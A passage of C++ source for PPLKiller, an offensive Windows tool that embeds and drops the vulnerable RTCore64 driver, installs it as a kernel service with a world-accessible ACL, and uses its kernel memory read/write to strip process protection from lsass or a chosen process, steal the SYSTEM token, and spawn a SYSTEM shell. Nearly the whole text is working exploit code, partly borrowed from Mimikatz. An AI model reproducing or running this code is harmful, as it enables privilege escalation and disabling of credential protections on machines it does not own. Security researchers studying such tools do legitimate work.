130 | if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
131 | if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {
132 | if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
133 | if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {
134 | if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
135 | status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);
136 | LocalFree(newSd);
137 | }
138 | FreeSid(ForEveryOne.Trustee.ptstrName);
139 | }
140 | }
141 | LocalFree(oldSd);
142 | }
143 | }
144 | return status;
145 | }
146 |
147 | DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
148 | BOOL status = FALSE;
149 | SC_HANDLE hSC = NULL, hS = NULL;
150 |
151 | if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {
152 | if (hS = OpenService(hSC, serviceName, SERVICE_START)) {
153 | wprintf(L"[+] \'%s\' service already registered\n", serviceName);
154 | }
155 | else {
156 | if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
157 | wprintf(L"[*] \'%s\' service not present\n", serviceName);
158 | if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {
159 | wprintf(L"[+] \'%s\' service successfully registered\n", serviceName);
160 | if (status = kull_m_service_addWorldToSD(hS))
161 | wprintf(L"[+] \'%s\' service ACL to everyone\n", serviceName);
162 | else printf("kull_m_service_addWorldToSD");
163 | }
164 | else PRINT_ERROR_AUTO(L"CreateService");
165 | }
166 | else PRINT_ERROR_AUTO(L"OpenService");
167 | }
168 | if (hS) {
169 | if (startIt) {
170 | if (status = StartService(hS, 0, NULL))
171 | wprintf(L"[+] \'%s\' service started\n", serviceName);
172 | else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
173 | wprintf(L"[*] \'%s\' service already started\n", serviceName);
174 | else {
175 | PRINT_ERROR_AUTO(L"StartService");
176 | }
177 | }
178 | CloseServiceHandle(hS);
179 | }
180 | CloseServiceHandle(hSC);
181 | }
182 | else {
183 | PRINT_ERROR_AUTO(L"OpenSCManager(create)");
184 | return GetLastError();
185 | }
186 | return 0;
187 | }
188 |
189 | BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
190 | BOOL status = FALSE;
191 | SC_HANDLE hSC, hS;
192 | SERVICE_STATUS serviceStatus;
193 |
194 | if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
195 | if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {
196 | status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
197 | CloseServiceHandle(hS);
198 | }
199 | CloseServiceHandle(hSC);
200 | }
201 | return status;
202 | }
203 |
204 | BOOL service_uninstall(PCWSTR serviceName) {
205 | if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
206 | wprintf(L"[+] \'%s\' service stopped\n", serviceName);
207 | }
208 | else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
209 | wprintf(L"[*] \'%s\' service not running\n", serviceName);
210 | }
211 | else {
212 | PRINT_ERROR_AUTO(L"kull_m_service_stop");
213 | return FALSE;
214 | }
215 |
216 | if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
217 | if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {
218 | BOOL status = DeleteService(hS);
219 | CloseServiceHandle(hS);
220 | }
221 | CloseServiceHandle(hSC);
222 | }
223 | return TRUE;
224 | }
225 |
226 | // END Mimikatz code
227 |
228 | void Log(const char* Message, ...) {
229 | const auto file = stderr;
230 |
231 | va_list Args;
232 | va_start(Args, Message);
233 | std::vfprintf(file, Message, Args);
234 | std::fputc('\n', file);
235 | va_end(Args);
236 | }
237 |
238 | unsigned long long getKernelBaseAddr() {
239 | DWORD out = 0;
240 | DWORD nb = 0;
241 | PVOID* base = NULL;
242 | if (EnumDeviceDrivers(NULL, 0, &nb)) {
243 | base = (PVOID*)malloc(nb);
244 | if (EnumDeviceDrivers(base, nb, &out)) {
245 | return (unsigned long long)base[0];
246 | }
247 | }
248 | return NULL;
249 | }
250 |
251 | int processPIDByName(const WCHAR* name) {
252 | int pid = 0;
253 |
254 | // Create a snapshot of currently running processes
255 | HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
256 |
257 | // Some error handling in case we failed to get a snapshot of running processes
258 | if (snap == INVALID_HANDLE_VALUE) {
259 | PRINT_ERROR_AUTO(L"processPIDByName");
260 | return 0;
261 | }
262 |
263 | // Declare a PROCESSENTRY32 class
264 | PROCESSENTRY32 pe32;
265 | // Set the size of the structure before using it.
266 | pe32.dwSize = sizeof(PROCESSENTRY32);
267 |
268 | // Retrieve information about the first process and exit if unsuccessful
269 | if (!Process32First(snap, &pe32)) {
270 | PRINT_ERROR_AUTO(L"processPIDByName");
271 | CloseHandle(snap); // clean the snapshot object
272 | }
273 |
274 | do {
275 | if (wcscmp(pe32.szExeFile, name) == 0) {
276 | pid = pe32.th32ProcessID;
277 | }
278 |
279 | } while (Process32Next(snap, &pe32));
280 |
281 | // Clean the snapshot object to prevent resource leakage
282 | CloseHandle(snap);
283 | return pid;
284 |
285 | }
286 |
287 | struct Offsets {
288 | DWORD64 UniqueProcessIdOffset;
289 | DWORD64 ActiveProcessLinksOffset;
290 | DWORD64 TokenOffset;
291 | DWORD64 SignatureLevelOffset;
292 | };
293 |
294 | void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {
295 | const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
296 | if (Device == INVALID_HANDLE_VALUE) {
297 | Log("[!] Unable to obtain a handle to the device object");
298 | return;
299 | }
300 | Log("[*] Device object handle has been obtained");
301 |
302 | const auto NtoskrnlBaseAddress = getKernelBaseAddr();
303 | Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
304 |
305 | // Locating PsInitialSystemProcess address
306 | HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
307 | const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast(Ntoskrnl);
308 | FreeLibrary(Ntoskrnl);
309 | const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
310 | Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
311 |
312 | // Find our process in active process list
313 | const DWORD64 TargetProcessId = static_cast(targetPID);
314 | DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
315 | DWORD64 CurrentProcessAddress = ProcessHead;
316 |
317 | do {
318 | const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
319 | const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
320 | if (UniqueProcessId == TargetProcessId) {
321 | break;
322 | }
323 | CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
324 | } while (CurrentProcessAddress != ProcessHead);
325 | CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
326 | Log("[*] Current process address: %p", CurrentProcessAddress);
327 |
328 | // Patches 5 values SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
329 | WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
330 |
331 | // Cleanup
332 | CloseHandle(Device);
333 | }
334 |
335 | void makeSYSTEM(DWORD targetPID, Offsets offsets) {
336 | const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
337 | if (Device == INVALID_HANDLE_VALUE) {
338 | Log("[!] Unable to obtain a handle to the device object");
339 | return;
340 | }
341 | Log("[*] Device object handle has been obtained");
342 |
343 | const auto NtoskrnlBaseAddress = getKernelBaseAddr();
344 | Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
345 |
346 | // Locating PsInitialSystemProcess address
347 | HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
348 | const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast(Ntoskrnl);
349 | FreeLibrary(Ntoskrnl);
350 | const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
351 | Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
352 |
353 | // Get token value of System process
354 | const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15;
355 | Log("[*] System process token: %p", SystemProcessToken);
356 |
357 | // Find our process in active process list
358 | const DWORD64 CurrentProcessId = static_cast(targetPID);
359 | DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
360 | DWORD64 CurrentProcessAddress = ProcessHead;
361 |
362 | do {
363 | const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
364 | const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
365 | if (UniqueProcessId == CurrentProcessId) {
366 | break;
367 | }
368 | CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
369 | } while (CurrentProcessAddress != ProcessHead);
370 |
371 | CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
372 | Log("[*] Current process address: %p", CurrentProcessAddress);
373 |
374 | // Reading current process token
375 | const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset);
376 | const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
377 | const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
378 | Log("[*] Current process token: %p", CurrentProcessToken);
379 |
380 | // Stealing System process token
381 | Log("[*] Stealing System process token ...");
382 | WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);
383 |
384 | // Cleanup
385 | CloseHandle(Device);
386 | }
387 |
388 | void spawnCmd(void) {
389 | Log("[*] Spawning new shell ...");
390 |
391 | STARTUPINFOW StartupInfo{};
392 | StartupInfo.cb = sizeof(StartupInfo);
393 | PROCESS_INFORMATION ProcessInformation;
394 |
395 | CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
396 | nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
397 | &StartupInfo,
398 | &ProcessInformation);
399 |
400 | WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
401 | CloseHandle(ProcessInformation.hThread);
402 | CloseHandle(ProcessInformation.hProcess);
403 | }
404 |
405 | struct Offsets getVersionOffsets() {
406 | wchar_t value[255] = { 0x00 };
407 | DWORD BufferSize = 255;
408 | RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
409 | wprintf(L"[+] Windows Version %s Found\n", value);
410 | auto winVer = _wtoi(value);
411 | switch (winVer) {
412 | case 1607:
413 | return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
414 | case 1803:
415 | case 1809:
416 | return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
417 | case 1903:
418 | case 1909:
419 | return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
420 | case 2004:
421 | case 2009:
422 | return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
423 | default:
424 | wprintf(L"[!] Version Offsets Not Found!\n");
425 | // Previously this returned an empty struct, which could (would?) cause the OS to crash and burn. Hopefully just an exit is ok.
426 | exit(-1);
427 | }
428 |
429 | }
430 |
431 | int fileExists(TCHAR* file)
432 | {
433 | WIN32_FIND_DATA FindFileData;
434 | HANDLE handle = FindFirstFile(file, &FindFileData);
435 | int found = handle != INVALID_HANDLE_VALUE;
436 | if (found)
437 | {
438 | //FindClose(&handle); this will crash
439 | FindClose(handle);
440 | }
441 | return found;
442 | }
443 |
444 | WCHAR* GetUserLocalTempPath() {
445 | //static constexpr std::wstring_view temp_label = L"\\Temp\\";
446 | HWND folder_handle = { 0 };
447 | WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);
448 | if (temp_path == NULL) {
449 | return NULL;
450 | }
451 | auto get_folder = SHGetFolderPath(folder_handle, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, temp_path);
452 | if (get_folder == S_OK) {
453 | // const wchar_t driverName[] = L"\\RTCore64.sys";
454 | wcscat_s(temp_path, MAX_PATH, L"\\Temp\\RTCore64.sys");
455 | //input_parameter = static_cast(temp_path);
456 | //input_parameter.append(temp_label);
457 | CloseHandle(folder_handle);
458 | return temp_path;
459 | }
460 | return NULL;
461 | }
462 |
463 | BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {
464 | // Check the pointers to which we want to write
465 | if (ppRes && pdwResSize) {
466 | HRSRC hRsrc;
467 | // Find the resource ResName of type ResType in the DLL/EXE described by Instance
468 | if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {
469 | HGLOBAL hGlob;
470 | // Make sure it's in memory ...
471 | if (hGlob = LoadResource(Instance, hRsrc)) {
472 | // Now lock it to get a pointer
473 | *ppRes = LockResource(hGlob);
474 | // Also retrieve the size of the resource
475 | *pdwResSize = SizeofResource(Instance, hRsrc);
476 | // Return TRUE only if both succeeded
477 | return (*ppRes && *pdwResSize);
478 | }
479 | }
480 | }
481 | // Failure means don't use the values in *ppRes and *pdwResSize
482 | return FALSE;
483 | }
484 |
485 | WCHAR* dropDriver() {
486 | //get driver
487 | LPVOID RTCoreDriver;
488 | DWORD driverSize;
489 | if (GetResourcePointer(NULL, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {
490 | wprintf(L"GetResourcePointer failed\n");
491 | return FALSE;
492 | }
493 |
494 | auto tempPath = GetUserLocalTempPath();
495 | if (fileExists(tempPath)) {
496 | return tempPath;
497 | }
498 |
499 | HANDLE hFile = CreateFile(tempPath, // name of the write
500 | GENERIC_WRITE, // open for writing
501 | 0, // do not share
502 | NULL, // default security
503 | CREATE_NEW, // create new file only
504 | FILE_ATTRIBUTE_NORMAL, // normal file
505 | NULL); // no attr. template
506 | if (hFile == INVALID_HANDLE_VALUE)
507 | {
508 |
509 | wprintf(L"Unable to open file \"%s\" for write.\n", tempPath);
510 | return NULL;
511 | }
512 |
513 | BOOL bErrorFlag = FALSE;
514 | DWORD dwBytesWritten = 0;
515 |
516 | bErrorFlag = WriteFile(
517 | hFile, // open file handle
518 | RTCoreDriver, // start of data to write
519 | driverSize, // number of bytes to write
520 | &dwBytesWritten, // number of bytes that were written
521 | NULL); // no overlapped structure
522 |
523 | if (FALSE == bErrorFlag)
524 | {
525 | wprintf(L"Terminal failure: Unable to write to file.\n");
526 | }
527 | else
528 | {
529 | if (dwBytesWritten != driverSize)
530 | {
531 | // This is an error because a synchronous write that results in
532 | // success (WriteFile returns TRUE) should write all data as
533 | // requested. This would not necessarily be the case for
534 | // asynchronous writes.
535 | wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");
536 | }
537 | else
538 | {
539 | wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);
540 | }
541 | }
542 | CloseHandle(hFile);
543 | return tempPath;
544 |
545 | }
546 |
547 |
548 | int wmain(int argc, wchar_t* argv[]) {
549 |
550 | wprintf(L"PPLKiller version %ws by %ws\n", VERSION, AUTHOR);
551 |
552 | if (argc < 2) {
553 | wprintf(L"Usage: %s\n"
554 | " [/disablePPL ]\n"
555 | " [/disableLSAProtection]\n"
556 | " [/makeSYSTEM ]\n"
557 | " [/makeSYSTEMcmd]\n"
558 | " [/installDriver]\n"
559 | " [/uninstallDriver]", argv[0]);
560 | return 0;
561 | }
562 |
563 |
564 | const auto svcName = L"RTCore64";
565 |
566 | if (wcscmp(argv[1] + 1, L"disablePPL") == 0 && argc == 3) {
567 | Offsets offsets = getVersionOffsets();
568 | auto PID = _wtoi(argv[2]);
569 | disableProtectedProcesses(PID, offsets);
570 | }
571 | else if (wcscmp(argv[1] + 1, L"disableLSAProtection") == 0) {
572 | Offsets offsets = getVersionOffsets();
573 | auto lsassPID = processPIDByName(L"lsass.exe");
574 | disableProtectedProcesses(lsassPID, offsets);
575 | }
576 | else if (wcscmp(argv[1] + 1, L"makeSYSTEM") == 0 && argc == 3) {
577 | Offsets offsets = getVersionOffsets();
578 | auto PID = _wtoi(argv[2]);
579 | makeSYSTEM(PID, offsets);
580 | }
581 | else if (wcscmp(argv[1] + 1, L"makeSYSTEMcmd") == 0) {
582 | Offsets offsets = getVersionOffsets();
583 | makeSYSTEM(GetCurrentProcessId(), offsets);
584 | spawnCmd();
585 | }
586 | else if (wcscmp(argv[1] + 1, L"installDriver") == 0) {
587 | WCHAR* driverPath = dropDriver();
588 | const auto svcDesc = L"Micro-Star MSI Afterburner";
589 | if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
590 | wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
591 | }
592 | }
593 | else if (wcscmp(argv[1] + 1, L"installDriverSeDebugOnly") == 0) {
594 | WCHAR* driverPath = dropDriver();
595 | wchar_t key[] = L"System\\CurrentControlSet\\RTCore64";
596 | fullsend(key, driverPath);
597 | }
598 | else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {
599 | service_uninstall(svcName);
600 | auto tempPath = GetUserLocalTempPath();
601 | if (DeleteFile(tempPath) != 0) {
602 | wprintf(L"Deleted %s\n", tempPath);
603 | }
604 | }
605 | else {
606 | wprintf(L"Error: Check the help\n");
607 | }
608 |
609 | return 0;
610 | }
611 |
--------------------------------------------------------------------------------
/resource.h:
--------------------------------------------------------------------------------
1 | #define IDR_RT_RCDATA1 101
2 |
--------------------------------------------------------------------------------